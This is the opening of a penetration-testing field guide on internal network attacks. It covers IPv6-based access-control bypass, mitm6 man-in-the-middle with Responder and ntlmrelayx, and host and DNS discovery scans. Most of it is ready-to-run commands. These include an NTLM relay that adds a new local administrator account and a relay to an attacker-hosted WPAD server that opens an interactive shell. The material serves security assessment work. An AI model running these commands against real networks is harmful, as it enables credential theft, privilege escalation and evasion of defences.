Paul Seekamp

Successful
Techniques To Hack
Your Way To Admin

Internal Security Assessment: Field Guide

Table of Contents

RECONNAISSANCE

IPv4 Network Access Control (NAC) Bypass

Bypass IPv4 with IPv6

#Most defensive tools exclusively look at IPv4 addresses. Forcing traffic over IPv6 yields a high chance you will go undetected and be unchallenged.

#Use Metasploit to scan to determine if IPv6 is in use.

```
auxiliary/scanner/discovery/ipv6_multicast_ping

auxiliary/scanner/discovery/ipv6_neighbor

auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
```

SMB server

#Launch a man in the middle attack over IPv6 to SMB share.

https://github.com/fox-it/mitm6.git

https://github.com/SecureAuthCorp/impacket.git

```
mitm6 -i eth0

smbserver.py SMB_SHARE_NAME path/to/share
```

Responder

#Launch a man in the middle attack over IPv6.

https://github.com/fox-it/mitm6.git

https://github.com/lgandx/Responder

```
mitm6 -i eth0

responder -I eth0 -wFv
```

ntlmrelayx

#Launch a man in the middle attack over IPv6.

https://github.com/fox-it/mitm6.git

https://github.com/SecureAuthCorp/impacket.git

```
mitm6 -hw icorp-w10 -d internal.corp --ignore-nofqnd
```

```
ntlmrelayx.py -t ldaps://icorp-dc.internal.corp -wh attacker-wpad --delegate-access

ntlmrelayx.py -wh ATTACKER_IP -t smb://TARGET_IP/ -i

OR

ntlmrelayx.py -ip 0.0.0.0 -t rpc://example.local -c "net user xyzuser xyzpass /add && net localgroup Administrators xyzuser /add"
```

Unauthenticated Asset Discovery

#Various techniques to enumerate hosts and services

Private IPv4 Networks

```
10.0.0.0/8

172.16.0.0/12

192.168.0.0/16
```

ARP Scan

```
netdiscover -i eth0
```

NetBIOS Scan

```
nbtscan <CIDR>
```

Limited Port Scan

```
nmap -sS –p 445,22,80 <CIDR>/12--max-os-tries 1 --max-retries 3 --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --open
```

Ping Scan

```
nmap -sP <CIDR>
```

Mass Scan

```
masscan <CIDR>--top-ports 100
```

DNS/DC Enumeration

```
fierce -dns example.com

OR

nmap --script dns-brute example.com
```